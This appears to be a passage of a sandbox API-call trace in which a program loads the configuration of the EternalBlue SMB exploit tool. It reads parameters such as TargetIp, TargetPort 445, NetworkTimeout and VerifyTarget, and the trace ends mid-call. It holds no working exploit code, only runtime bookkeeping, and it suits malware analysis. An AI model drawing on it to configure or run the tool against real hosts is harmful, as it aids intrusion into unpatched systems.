\r\n \r\n 445\r\n \r\n \r\n true\r\n \r\n \r\n true\r\n \r\n \r\n 3\r\n \r\n \r\n 12\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n") returned 0x1e66 [0095.997] malloc (_Size=0x1d0) returned 0xeaf938 [0095.997] GetCurrentThreadId () returned 0x1090 [0095.997] malloc (_Size=0x1c) returned 0xead250 [0095.997] malloc (_Size=0x18) returned 0xead278 [0095.997] malloc (_Size=0xa00) returned 0xd90048 [0095.998] malloc (_Size=0x80) returned 0xea28f8 [0095.998] malloc (_Size=0x14) returned 0xead298 [0095.998] malloc (_Size=0x28) returned 0xea2980 [0095.998] malloc (_Size=0x28) returned 0xeafb10 [0095.998] malloc (_Size=0x28) returned 0xeafb40 [0095.998] GetCurrentThreadId () returned 0x1090 [0095.998] GetCurrentThreadId () returned 0x1090 [0095.998] GetCurrentThreadId () returned 0x1090 [0095.998] GetCurrentThreadId () returned 0x1090 [0095.998] GetCurrentThreadId () returned 0x1090 [0095.998] GetCurrentThreadId () returned 0x1090 [0095.998] malloc (_Size=0x24) returned 0xeafb70 [0095.998] GetCurrentThreadId () returned 0x1090 [0095.998] malloc (_Size=0x14) returned 0xeafba0 [0095.998] GetCurrentThreadId () returned 0x1090 [0095.998] malloc (_Size=0x2002) returned 0xd90a50 [0095.998] malloc (_Size=0x3c) returned 0xeafbc0 [0095.998] malloc (_Size=0x400) returned 0xd92a60 [0095.998] malloc (_Size=0x14) returned 0xeafc08 [0095.998] GetCurrentThreadId () returned 0x1090 [0095.999] malloc (_Size=0xa) returned 0xead2f8 [0095.999] malloc (_Size=0xa) returned 0xead340 [0095.999] malloc (_Size=0x60) returned 0xeafc28 [0095.999] malloc (_Size=0x4) returned 0xead2b8 [0095.999] malloc (_Size=0x6) returned 0xea29b0 [0095.999] malloc (_Size=0x2c) returned 0xeafc90 [0095.999] malloc (_Size=0x4) returned 0xeafcc8 [0095.999] malloc (_Size=0x5) returned 0xeafcd8 [0095.999] free (_Block=0xeafcc8) [0095.999] free (_Block=0xeafcd8) [0095.999] free (_Block=0xeafc90) [0095.999] malloc (_Size=0x28) returned 0xeafc90 [0095.999] malloc (_Size=0x14) returned 0xeafcc0 [0095.999] malloc (_Size=0xdc) returned 0xeafce0 [0095.999] malloc (_Size=0x2c) returned 0xeafdc8 [0095.999] malloc (_Size=0x3c) returned 0xeafe00 [0095.999] malloc (_Size=0x7) returned 0xeafe48 [0095.999] malloc (_Size=0x18) returned 0xeafe58 [0095.999] malloc (_Size=0x9) returned 0xead2e0 [0095.999] malloc (_Size=0x30) returned 0xeafe78 [0095.999] malloc (_Size=0x5) returned 0xeafeb0 [0095.999] malloc (_Size=0x3c) returned 0xeafec0 [0095.999] malloc (_Size=0xc) returned 0xead310 [0096.000] malloc (_Size=0x30) returned 0xeaff08 [0096.000] malloc (_Size=0x8) returned 0xeaff40 [0096.000] malloc (_Size=0x3c) returned 0xeaff50 [0096.000] malloc (_Size=0x6) returned 0xeaff98 [0096.000] malloc (_Size=0x30) returned 0xeaffa8 [0096.000] malloc (_Size=0xe) returned 0xead328 [0096.000] malloc (_Size=0x3c) returned 0xd92e68 [0096.000] malloc (_Size=0x6) returned 0xd92eb0 [0096.000] malloc (_Size=0x30) returned 0xd92ec0 [0096.000] malloc (_Size=0xe) returned 0xead358 [0096.000] malloc (_Size=0x3c) returned 0xd92ef8 [0096.000] malloc (_Size=0x8) returned 0xd92f40 [0096.000] malloc (_Size=0x30) returned 0xd92f50 [0096.000] malloc (_Size=0x3) returned 0xd92f88 [0096.000] malloc (_Size=0x3c) returned 0xd92f98 [0096.000] malloc (_Size=0x29) returned 0xd92fe0 [0096.000] malloc (_Size=0x3c) returned 0xd93018 [0096.000] malloc (_Size=0x4) returned 0xd93060 [0096.000] malloc (_Size=0x14) returned 0xd93070 [0096.000] malloc (_Size=0x3c) returned 0xd93090 [0096.000] malloc (_Size=0x10) returned 0xead388 [0096.000] malloc (_Size=0x3c) returned 0xd930d8 [0096.001] malloc (_Size=0x6) returned 0xd93120 [0096.001] malloc (_Size=0x14) returned 0xd93130 [0096.001] malloc (_Size=0x3c) returned 0xd93150 [0096.001] malloc (_Size=0xa) returned 0xead3a0 [0096.001] malloc (_Size=0x30) returned 0xd93198 [0096.001] malloc (_Size=0x7) returned 0xd931e8 [0096.001] malloc (_Size=0x3c) returned 0xd935d0 [0096.001] malloc (_Size=0x5) returned 0xd931f8 [0096.001] malloc (_Size=0x30) returned 0xd93618 [0096.001] malloc (_Size=0x5) returned 0xd93208 [0096.001] malloc (_Size=0x3c) returned 0xd93650 [0096.001] malloc (_Size=0x8) returned 0xd93218 [0096.001] malloc (_Size=0x30) returned 0xd93698 [0096.001] malloc (_Size=0x5) returned 0xd93228 [0096.001] malloc (_Size=0x3c) returned 0xd936d0 [0096.001] malloc (_Size=0xe) returned 0xead3b8 [0096.001] malloc (_Size=0x30) returned 0xd93718 [0096.001] malloc (_Size=0xc) returned 0xead3d0 [0096.001] malloc (_Size=0x3c) returned 0xd93750 [0096.001] malloc (_Size=0x27) returned 0xd93798 [0096.001] malloc (_Size=0x3c) returned 0xd937c8 [0096.001] malloc (_Size=0x8) returned 0xd93238 [0096.002] malloc (_Size=0x3c) returned 0xd93810 [0096.002] malloc (_Size=0x8) returned 0xd93248 [0096.002] malloc (_Size=0x3c) returned 0xd93870 [0096.002] malloc (_Size=0x2) returned 0xd93258 [0096.002] malloc (_Size=0x3c) returned 0xd938b8 [0096.002] malloc (_Size=0x6) returned 0xd93268 [0096.002] malloc (_Size=0x3c) returned 0xd93900 [0096.002] malloc (_Size=0x6) returned 0xd93278 [0096.002] malloc (_Size=0x3c) returned 0xd93948 [0096.002] malloc (_Size=0xa) returned 0xead3e8 [0096.002] malloc (_Size=0x30) returned 0xd94858 [0096.002] malloc (_Size=0x5) returned 0xd93288 [0096.002] malloc (_Size=0x3c) returned 0xd93990 [0096.002] malloc (_Size=0x4) returned 0xd93298 [0096.002] malloc (_Size=0x30) returned 0xd94890 [0096.002] malloc (_Size=0x5) returned 0xd932a8 [0096.002] malloc (_Size=0x3c) returned 0xd939d8 [0096.002] malloc (_Size=0xf) returned 0xead400 [0096.002] malloc (_Size=0x30) returned 0xd948c8 [0096.002] malloc (_Size=0xc) returned 0xead418 [0096.002] malloc (_Size=0x3c) returned 0xd93a20 [0096.002] malloc (_Size=0x48) returned 0xd94900 [0096.002] malloc (_Size=0x3c) returned 0xd93a68 [0096.003] malloc (_Size=0x8) returned 0xd932b8 [0096.003] malloc (_Size=0x3c) returned 0xd93ab0 [0096.003] malloc (_Size=0x8) returned 0xd932c8 [0096.003] malloc (_Size=0x3c) returned 0xd93af8 [0096.003] malloc (_Size=0x3) returned 0xd932d8 [0096.003] malloc (_Size=0x3c) returned 0xd93b40 [0096.003] malloc (_Size=0x6) returned 0xd932e8 [0096.003] malloc (_Size=0x3c) returned 0xd93b88 [0096.003] malloc (_Size=0x6) returned 0xd932f8 [0096.003] malloc (_Size=0x3c) returned 0xd93bd0 [0096.003] malloc (_Size=0xa) returned 0xead430 [0096.003] malloc (_Size=0x30) returned 0xd94950 [0096.003] malloc (_Size=0x8) returned 0xd93308 [0096.003] malloc (_Size=0x3c) returned 0xd93c18 [0096.003] malloc (_Size=0x15) returned 0xd94988 [0096.003] malloc (_Size=0x30) returned 0xd949a8 [0096.003] malloc (_Size=0x5) returned 0xd93318 [0096.003] malloc (_Size=0x3c) returned 0xd93c60 [0096.003] malloc (_Size=0x5) returned 0xd93328 [0096.003] malloc (_Size=0x30) returned 0xd949e0 [0096.003] malloc (_Size=0x5) returned 0xd93338 [0096.003] malloc (_Size=0x3c) returned 0xd93ca8 [0096.003] malloc (_Size=0x9) returned 0xead448 [0096.004] malloc (_Size=0x30) returned 0xd94a30 [0096.004] malloc (_Size=0xc) returned 0xead460 [0096.004] malloc (_Size=0x3c) returned 0xd93cf0 [0096.004] malloc (_Size=0x12) returned 0xd95218 [0096.004] malloc (_Size=0x3c) returned 0xd93d38 [0096.004] malloc (_Size=0x6) returned 0xd93348 [0096.004] malloc (_Size=0x3c) returned 0xd93d80 [0096.004] malloc (_Size=0xa) returned 0xead478 [0096.004] malloc (_Size=0x30) returned 0xd94a68 [0096.004] malloc (_Size=0x8) returned 0xd93358 [0096.004] malloc (_Size=0x3c) returned 0xd93dc8 [0096.004] malloc (_Size=0xc) returned 0xead490 [0096.004] malloc (_Size=0x30) returned 0xd94aa0 [0096.004] malloc (_Size=0x5) returned 0xd93368 [0096.004] malloc (_Size=0x3c) returned 0xd93e10 [0096.004] malloc (_Size=0x8) returned 0xd93378 [0096.004] malloc (_Size=0x30) returned 0xd94ad8 [0096.004] malloc (_Size=0x5) returned 0xd93388 [0096.004] malloc (_Size=0x3c) returned 0xd93e58 [0096.004] malloc (_Size=0xb) returned 0xead4a8 [0096.004] malloc (_Size=0x30) returned 0xd94b10 [0096.005] malloc (_Size=0xc) returned 0xead4c0 [0096.005] malloc (_Size=0x3c) returned 0xd93ea0 [0096.005] malloc (_Size=0x34) returned 0xd95238 [0096.005] malloc (_Size=0x3c) returned 0xd93ee8 [0096.005] malloc (_Size=0x8) returned 0xd93398 [0096.005] malloc (_Size=0x3c) returned 0xd93f30 [0096.005] malloc (_Size=0x8) returned 0xd933a8 [0096.005] malloc (_Size=0x3c) returned 0xd93f78 [0096.005] malloc (_Size=0x4) returned 0xd933b8 [0096.005] malloc (_Size=0x3c) returned 0xd93fc0 [0096.005] malloc (_Size=0x6) returned 0xd933c8 [0096.005] malloc (_Size=0x3c) returned 0xd94008 [0096.005] malloc (_Size=0x6) returned 0xd933d8 [0096.005] malloc (_Size=0x3c) returned 0xd94050 [0096.005] malloc (_Size=0xa) returned 0xead4d8 [0096.005] malloc (_Size=0x30) returned 0xd94b48 [0096.005] malloc (_Size=0x8) returned 0xd933e8 [0096.005] malloc (_Size=0x3c) returned 0xd94098 [0096.005] malloc (_Size=0x1c) returned 0xd95278 [0096.005] malloc (_Size=0x30) returned 0xd94b80 [0096.005] malloc (_Size=0x5) returned 0xd933f8 [0096.005] malloc (_Size=0x3c) returned 0xd940e0 [0096.005] malloc (_Size=0x8) returned 0xd93408 [0096.006] malloc (_Size=0x30) returned 0xd94bb8 [0096.006] malloc (_Size=0x5) returned 0xd93418 [0096.006] malloc (_Size=0x3c) returned 0xd94128 [0096.006] malloc (_Size=0xd) returned 0xead4f0 [0096.006] malloc (_Size=0x30) returned 0xd94bf0 [0096.006] malloc (_Size=0xc) returned 0xead508 [0096.006] malloc (_Size=0x3c) returned 0xd94170 [0096.006] malloc (_Size=0x55) returned 0xd952a0 [0096.006] malloc (_Size=0x3c) returned 0xd941b8 [0096.006] malloc (_Size=0x8) returned 0xd93428 [0096.006] malloc (_Size=0x3c) returned 0xd94200 [0096.006] malloc (_Size=0x8) returned 0xd93438 [0096.006] malloc (_Size=0x3c) returned 0xd94248 [0096.006] malloc (_Size=0x5) returned 0xd93448 [0096.006] malloc (_Size=0x3c) returned 0xd94290 [0096.006] malloc (_Size=0x6) returned 0xd93458 [0096.006] malloc (_Size=0x3c) returned 0xd942d8 [0096.006] malloc (_Size=0x6) returned 0xd93468 [0096.006] malloc (_Size=0x3c) returned 0xd94320 [0096.006] malloc (_Size=0xa) returned 0xead520 [0096.006] malloc (_Size=0x30) returned 0xd94c28 [0096.006] malloc (_Size=0x8) returned 0xd93478 [0096.006] malloc (_Size=0x3c) returned 0xd94368 [0096.007] malloc (_Size=0x1e) returned 0xd95300 [0096.007] malloc (_Size=0x30) returned 0xd94c60 [0096.007] malloc (_Size=0x5) returned 0xd93488 [0096.007] malloc (_Size=0x3c) returned 0xd943b0 [0096.007] malloc (_Size=0x8) returned 0xd93498 [0096.007] malloc (_Size=0x30) returned 0xd94c98 [0096.007] malloc (_Size=0x5) returned 0xd934a8 [0096.057] malloc (_Size=0x3c) returned 0xd943f8 [0096.057] malloc (_Size=0xf) returned 0xead538 [0096.057] malloc (_Size=0x30) returned 0xd94cd0 [0096.057] malloc (_Size=0xc) returned 0xead550 [0096.057] malloc (_Size=0x3c) returned 0xd94440 [0096.057] malloc (_Size=0x80) returned 0xd95328 [0096.057] malloc (_Size=0x3c) returned 0xd94488 [0096.057] malloc (_Size=0x8) returned 0xd934b8 [0096.058] malloc (_Size=0x3c) returned 0xd944d0 [0096.058] malloc (_Size=0x8) returned 0xd934c8 [0096.058] malloc (_Size=0x3c) returned 0xd94518 [0096.058] malloc (_Size=0x5) returned 0xd934d8 [0096.058] malloc (_Size=0x3c) returned 0xd94560 [0096.058] malloc (_Size=0x6) returned 0xd934e8 [0096.058] malloc (_Size=0x3c) returned 0xd945a8 [0096.058] malloc (_Size=0x6) returned 0xd934f8 [0096.058] malloc (_Size=0x3c) returned 0xd945f0 [0096.058] malloc (_Size=0xa) returned 0xead568 [0096.058] malloc (_Size=0x30) returned 0xd94d08 [0096.058] malloc (_Size=0x8) returned 0xd93508 [0096.058] malloc (_Size=0x3c) returned 0xd94638 [0096.058] malloc (_Size=0x21) returned 0xd953b0 [0096.058] malloc (_Size=0x30) returned 0xd94d40 [0096.058] malloc (_Size=0x5) returned 0xd93518 [0096.058] malloc (_Size=0x3c) returned 0xd94680 [0096.058] malloc (_Size=0x4) returned 0xd93528 [0096.058] malloc (_Size=0x30) returned 0xd94d78 [0096.058] malloc (_Size=0x5) returned 0xd93538 [0096.058] malloc (_Size=0x3c) returned 0xd946c8 [0096.058] malloc (_Size=0x13) returned 0xd953e0 [0096.058] malloc (_Size=0x30) returned 0xd94db0 [0096.059] malloc (_Size=0xc) returned 0xead580 [0096.059] malloc (_Size=0x3c) returned 0xd94710 [0096.059] malloc (_Size=0x47) returned 0xd95400 [0096.059] malloc (_Size=0x3c) returned 0xd94758 [0096.059] malloc (_Size=0x8) returned 0xd93548 [0096.059] malloc (_Size=0x3c) returned 0xd947a0 [0096.059] malloc (_Size=0x8) returned 0xd93558 [0096.059] malloc (_Size=0x3c) returned 0xd947e8 [0096.059] malloc (_Size=0x2) returned 0xd93568 [0096.059] malloc (_Size=0x3c) returned 0xd95468 [0096.059] malloc (_Size=0x6) returned 0xd93578 [0096.059] malloc (_Size=0x3c) returned 0xd954b0 [0096.059] malloc (_Size=0x6) returned 0xd93588 [0096.059] malloc (_Size=0x3c) returned 0xd954f8 [0096.059] malloc (_Size=0xa) returned 0xead598 [0096.059] malloc (_Size=0x30) returned 0xd94de8 [0096.059] malloc (_Size=0x8) returned 0xd93598 [0096.059] malloc (_Size=0x3c) returned 0xd95540 [0096.059] malloc (_Size=0x25) returned 0xd96450 [0096.060] malloc (_Size=0x30) returned 0xd94e20 [0096.061] GetCurrentThreadId () returned 0x1090 [0096.061] free (_Block=0xea28f8) [0096.061] free (_Block=0xeafce0) [0096.061] free (_Block=0xd93130) [0096.061] free (_Block=0xd96900) [0096.061] free (_Block=0xeafc08) [0096.061] free (_Block=0xd96920) [0096.061] free (_Block=0xd96e78) [0096.061] free (_Block=0xd96e38) [0096.061] free (_Block=0xd93070) [0096.061] free (_Block=0xeafcc0) [0096.061] free (_Block=0xd96e98) [0096.061] free (_Block=0xd90048) [0096.061] free (_Block=0xd92a60) [0096.061] free (_Block=0xead278) [0096.061] free (_Block=0xeafc90) [0096.061] free (_Block=0xeafdc8) [0096.061] free (_Block=0xeaf938) [0096.061] strlen (_Str="0f38f55b6a88feccfb846d3d10ab4687e652e63e") returned 0x28 [0096.061] calloc (_Count=0x29, _Size=0x1) returned 0xda2728 [0096.061] _mbscpy (in: param_1=0xda2728, param_2=0xda26f0 | out: param_1=0xda2728) returned 0xda2728 [0096.061] strlen (_Str="2.2.0.0") returned 0x7 [0096.061] calloc (_Count=0x8, _Size=0x1) returned 0xda11c0 [0096.061] _mbscpy (in: param_1=0xda11c0, param_2=0xda11a0 | out: param_1=0xda11c0) returned 0xda11c0 [0096.061] strlen (_Str="Eternalblue") returned 0xb [0096.061] calloc (_Count=0xc, _Size=0x1) returned 0xead2f8 [0096.061] _mbscpy (in: param_1=0xead2f8, param_2=0xead340 | out: param_1=0xead2f8) returned 0xead2f8 [0096.061] strlen (_Str="2.2.0") returned 0x5 [0096.061] calloc (_Count=0x6, _Size=0x1) returned 0xda11d0 [0096.061] _mbscpy (in: param_1=0xda11d0, param_2=0xda1190 | out: param_1=0xda11d0) returned 0xda11d0 [0096.061] strlen (_Str="urn:trch") returned 0x8 [0096.061] calloc (_Count=0x9, _Size=0x1) returned 0xda2488 [0096.061] _mbscpy (in: param_1=0xda2488, param_2=0xead2e0 | out: param_1=0xda2488) returned 0xda2488 [0096.062] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.062] strlen (_Str="2.1.0") returned 0x5 [0096.062] calloc (_Count=0x6, _Size=0x1) returned 0xda11e0 [0096.062] _mbscpy (in: param_1=0xda11e0, param_2=0xda11b0 | out: param_1=0xda11e0) returned 0xda11e0 [0096.062] free (_Block=0xda26f0) [0096.062] free (_Block=0xead340) [0096.062] free (_Block=0xda1190) [0096.062] free (_Block=0xda11a0) [0096.062] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.062] calloc (_Count=0x1, _Size=0x1c) returned 0xd96900 [0096.062] strlen (_Str="inputparameters") returned 0xf [0096.062] calloc (_Count=0x10, _Size=0x1) returned 0xead340 [0096.062] _mbscpy (in: param_1=0xead340, param_2=0xead388 | out: param_1=0xead340) returned 0xead340 [0096.062] strlen (_Str="urn:trch") returned 0x8 [0096.062] calloc (_Count=0x9, _Size=0x1) returned 0xda24a0 [0096.062] _mbscpy (in: param_1=0xda24a0, param_2=0xead2e0 | out: param_1=0xda24a0) returned 0xda24a0 [0096.062] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.062] strlen (_Str="2.1.0") returned 0x5 [0096.062] calloc (_Count=0x6, _Size=0x1) returned 0xda11a0 [0096.062] _mbscpy (in: param_1=0xda11a0, param_2=0xda11b0 | out: param_1=0xda11a0) returned 0xda11a0 [0096.062] calloc (_Count=0x1, _Size=0x4) returned 0xda1190 [0096.062] calloc (_Count=0x1, _Size=0x4) returned 0xda11f0 [0096.062] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0096.062] malloc (_Size=0xe) returned 0xda24b8 [0096.062] malloc (_Size=0x27) returned 0xea28f8 [0096.062] malloc (_Size=0x8) returned 0xda1200 [0096.062] malloc (_Size=0x14) returned 0xd96e98 [0096.062] GetCurrentThreadId () returned 0x1090 [0096.062] malloc (_Size=0x42) returned 0xea2928 [0096.062] free (_Block=0xd96e98) [0096.062] calloc (_Count=0x1, _Size=0x48) returned 0xda2ed8 [0096.062] strlen (_Str="DaveProxyPort") returned 0xd [0096.062] calloc (_Count=0xe, _Size=0x1) returned 0xda24d0 [0096.062] _mbscpy (in: param_1=0xda24d0, param_2=0xda24b8 | out: param_1=0xda24d0) returned 0xda24d0 [0096.062] strlen (_Str="DAVE Core/Proxy Hookup connection port") returned 0x26 [0096.062] calloc (_Count=0x27, _Size=0x1) returned 0xea2978 [0096.062] _mbscpy (in: param_1=0xea2978, param_2=0xea28f8 | out: param_1=0xea2978) returned 0xea2978 [0096.063] strlen (_Str="TcpPort") returned 0x7 [0096.063] calloc (_Count=0x8, _Size=0x1) returned 0xda1210 [0096.063] _mbscpy (in: param_1=0xda1210, param_2=0xda1200 | out: param_1=0xda1210) returned 0xda1210 [0096.063] strlen (_Str="Scalar") returned 0x6 [0096.063] calloc (_Count=0x7, _Size=0x1) returned 0xda1220 [0096.063] _mbscpy (in: param_1=0xda1220, param_2=0xc5c3f8 | out: param_1=0xda1220) returned 0xda1220 [0096.063] strlen (_Str="urn:trch") returned 0x8 [0096.063] calloc (_Count=0x9, _Size=0x1) returned 0xda24e8 [0096.063] _mbscpy (in: param_1=0xda24e8, param_2=0xead2e0 | out: param_1=0xda24e8) returned 0xda24e8 [0096.063] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.063] strlen (_Str="2.1.0") returned 0x5 [0096.063] calloc (_Count=0x6, _Size=0x1) returned 0xda1230 [0096.063] _mbscpy (in: param_1=0xda1230, param_2=0xda11b0 | out: param_1=0xda1230) returned 0xda1230 [0096.065] calloc (_Count=0x1, _Size=0x10) returned 0xda2500 [0096.065] strlen (_Str="0") returned 0x1 [0096.065] calloc (_Count=0x2, _Size=0x1) returned 0xda1240 [0096.065] _mbscpy (in: param_1=0xda1240, param_2=0xea2928 | out: param_1=0xda1240) returned 0xda1240 [0096.066] malloc (_Size=0x5) returned 0xda1250 [0096.066] free (_Block=0xda24b8) [0096.066] free (_Block=0xea28f8) [0096.066] free (_Block=0xda1200) [0096.066] free (_Block=0x0) [0096.066] free (_Block=0xea2928) [0096.066] free (_Block=0x0) [0096.066] free (_Block=0xda1250) [0096.066] free (_Block=0x0) [0096.066] free (_Block=0x0) [0096.066] realloc (_Block=0xda1190, _Size=0x8) returned 0xda1250 [0096.066] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0096.066] malloc (_Size=0xf) returned 0xda24b8 [0096.066] malloc (_Size=0x48) returned 0xea28f8 [0096.066] malloc (_Size=0x4) returned 0xda1190 [0096.066] malloc (_Size=0x14) returned 0xd96e98 [0096.066] GetCurrentThreadId () returned 0x1090 [0096.066] malloc (_Size=0x42) returned 0xda2f28 [0096.066] free (_Block=0xd96e98) [0096.066] calloc (_Count=0x1, _Size=0x48) returned 0xda2f78 [0096.066] strlen (_Str="NetworkTimeout") returned 0xe [0096.066] calloc (_Count=0xf, _Size=0x1) returned 0xda2518 [0096.066] _mbscpy (in: param_1=0xda2518, param_2=0xda24b8 | out: param_1=0xda2518) returned 0xda2518 [0096.066] strlen (_Str="Timeout for blocking network calls (in seconds). Use -1 for no timeout.") returned 0x47 [0096.066] calloc (_Count=0x48, _Size=0x1) returned 0xeafc90 [0096.066] _mbscpy (in: param_1=0xeafc90, param_2=0xea28f8 | out: param_1=0xeafc90) returned 0xeafc90 [0096.066] strlen (_Str="S16") returned 0x3 [0096.066] calloc (_Count=0x4, _Size=0x1) returned 0xda1200 [0096.066] _mbscpy (in: param_1=0xda1200, param_2=0xda1190 | out: param_1=0xda1200) returned 0xda1200 [0096.066] strlen (_Str="Scalar") returned 0x6 [0096.066] calloc (_Count=0x7, _Size=0x1) returned 0xda1260 [0096.066] _mbscpy (in: param_1=0xda1260, param_2=0xc5c3f8 | out: param_1=0xda1260) returned 0xda1260 [0096.067] strlen (_Str="urn:trch") returned 0x8 [0096.067] calloc (_Count=0x9, _Size=0x1) returned 0xda2530 [0096.067] _mbscpy (in: param_1=0xda2530, param_2=0xead2e0 | out: param_1=0xda2530) returned 0xda2530 [0096.067] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.067] strlen (_Str="2.1.0") returned 0x5 [0096.067] calloc (_Count=0x6, _Size=0x1) returned 0xda1270 [0096.067] _mbscpy (in: param_1=0xda1270, param_2=0xda11b0 | out: param_1=0xda1270) returned 0xda1270 [0096.067] strlen (_Str="60") returned 0x2 [0096.067] calloc (_Count=0x3, _Size=0x1) returned 0xda1280 [0096.067] _mbscpy (in: param_1=0xda1280, param_2=0xda2f28 | out: param_1=0xda1280) returned 0xda1280 [0096.067] strtol (in: _Str="60", _EndPtr=0xadf87c, _Radix=0 | out: _EndPtr=0xadf87c*="") returned 60 [0096.067] free (_Block=0xda24b8) [0096.067] free (_Block=0xea28f8) [0096.067] free (_Block=0xda1190) [0096.067] free (_Block=0x0) [0096.067] free (_Block=0xda2f28) [0096.067] free (_Block=0x0) [0096.067] free (_Block=0x0) [0096.067] free (_Block=0x0) [0096.067] free (_Block=0x0) [0096.067] realloc (_Block=0xda1250, _Size=0xc) returned 0xda24b8 [0096.067] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0096.067] malloc (_Size=0x9) returned 0xda2560 [0096.067] malloc (_Size=0x12) returned 0xd96e98 [0096.067] malloc (_Size=0x5) returned 0xda1250 [0096.067] calloc (_Count=0x1, _Size=0x48) returned 0xda2f28 [0096.067] strlen (_Str="TargetIp") returned 0x8 [0096.067] calloc (_Count=0x9, _Size=0x1) returned 0xda2578 [0096.067] _mbscpy (in: param_1=0xda2578, param_2=0xda2560 | out: param_1=0xda2578) returned 0xda2578 [0096.067] strlen (_Str="Target IP Address") returned 0x11 [0096.067] calloc (_Count=0x12, _Size=0x1) returned 0xd96e38 [0096.067] _mbscpy (in: param_1=0xd96e38, param_2=0xd96e98 | out: param_1=0xd96e38) returned 0xd96e38 [0096.067] strlen (_Str="IPv4") returned 0x4 [0096.067] calloc (_Count=0x5, _Size=0x1) returned 0xda1190 [0096.067] _mbscpy (in: param_1=0xda1190, param_2=0xda1250 | out: param_1=0xda1190) returned 0xda1190 [0096.068] strlen (_Str="Scalar") returned 0x6 [0096.068] calloc (_Count=0x7, _Size=0x1) returned 0xda1290 [0096.068] _mbscpy (in: param_1=0xda1290, param_2=0xc5c3f8 | out: param_1=0xda1290) returned 0xda1290 [0096.068] strlen (_Str="urn:trch") returned 0x8 [0096.068] calloc (_Count=0x9, _Size=0x1) returned 0xda2590 [0096.068] _mbscpy (in: param_1=0xda2590, param_2=0xead2e0 | out: param_1=0xda2590) returned 0xda2590 [0096.068] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.068] strlen (_Str="2.1.0") returned 0x5 [0096.068] calloc (_Count=0x6, _Size=0x1) returned 0xda12a0 [0096.068] _mbscpy (in: param_1=0xda12a0, param_2=0xda11b0 | out: param_1=0xda12a0) returned 0xda12a0 [0096.068] realloc (_Block=0xda24b8, _Size=0x10) returned 0xda2560 [0096.068] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0096.068] malloc (_Size=0xb) returned 0xda24b8 [0096.068] malloc (_Size=0x34) returned 0xea28f8 [0096.068] malloc (_Size=0x8) returned 0xda1250 [0096.068] malloc (_Size=0x14) returned 0xd96e98 [0096.068] GetCurrentThreadId () returned 0x1090 [0096.068] malloc (_Size=0x42) returned 0xeafce0 [0096.068] free (_Block=0xd96e98) [0096.068] calloc (_Count=0x1, _Size=0x48) returned 0xeafd30 [0096.068] strlen (_Str="TargetPort") returned 0xa [0096.068] calloc (_Count=0xb, _Size=0x1) returned 0xda25c0 [0096.068] _mbscpy (in: param_1=0xda25c0, param_2=0xda24b8 | out: param_1=0xda25c0) returned 0xda25c0 [0096.068] strlen (_Str="Port used by the SMB service for exploit connection") returned 0x33 [0096.068] calloc (_Count=0x34, _Size=0x1) returned 0xea2938 [0096.068] _mbscpy (in: param_1=0xea2938, param_2=0xea28f8 | out: param_1=0xea2938) returned 0xea2938 [0096.068] strlen (_Str="TcpPort") returned 0x7 [0096.068] calloc (_Count=0x8, _Size=0x1) returned 0xda12b0 [0096.068] _mbscpy (in: param_1=0xda12b0, param_2=0xda1250 | out: param_1=0xda12b0) returned 0xda12b0 [0096.068] strlen (_Str="Scalar") returned 0x6 [0096.068] calloc (_Count=0x7, _Size=0x1) returned 0xda12c0 [0096.068] _mbscpy (in: param_1=0xda12c0, param_2=0xc5c3f8 | out: param_1=0xda12c0) returned 0xda12c0 [0096.068] strlen (_Str="urn:trch") returned 0x8 [0096.068] calloc (_Count=0x9, _Size=0x1) returned 0xda25d8 [0096.068] _mbscpy (in: param_1=0xda25d8, param_2=0xead2e0 | out: param_1=0xda25d8) returned 0xda25d8 [0096.069] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.069] strlen (_Str="2.1.0") returned 0x5 [0096.069] calloc (_Count=0x6, _Size=0x1) returned 0xd90060 [0096.069] _mbscpy (in: param_1=0xd90060, param_2=0xda11b0 | out: param_1=0xd90060) returned 0xd90060 [0096.069] strlen (_Str="445") returned 0x3 [0096.069] calloc (_Count=0x4, _Size=0x1) returned 0xd90070 [0096.069] _mbscpy (in: param_1=0xd90070, param_2=0xeafce0 | out: param_1=0xd90070) returned 0xd90070 [0096.069] free (_Block=0xda24b8) [0096.069] free (_Block=0xea28f8) [0096.069] free (_Block=0xda1250) [0096.069] free (_Block=0x0) [0096.069] free (_Block=0xeafce0) [0096.069] free (_Block=0x0) [0096.069] free (_Block=0x0) [0096.069] free (_Block=0x0) [0096.069] free (_Block=0x0) [0096.069] realloc (_Block=0xda2560, _Size=0x14) returned 0xd96e98 [0096.069] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0096.069] malloc (_Size=0xd) returned 0xda2560 [0096.069] malloc (_Size=0x55) returned 0xeafd80 [0096.069] malloc (_Size=0x8) returned 0xda1250 [0096.069] malloc (_Size=0x14) returned 0xd96e78 [0096.069] GetCurrentThreadId () returned 0x1090 [0096.069] malloc (_Size=0x42) returned 0xeafce0 [0096.069] free (_Block=0xd96e78) [0096.069] calloc (_Count=0x1, _Size=0x48) returned 0xeaf938 [0096.069] strlen (_Str="VerifyTarget") returned 0xc [0096.069] calloc (_Count=0xd, _Size=0x1) returned 0xda24b8 [0096.069] _mbscpy (in: param_1=0xda24b8, 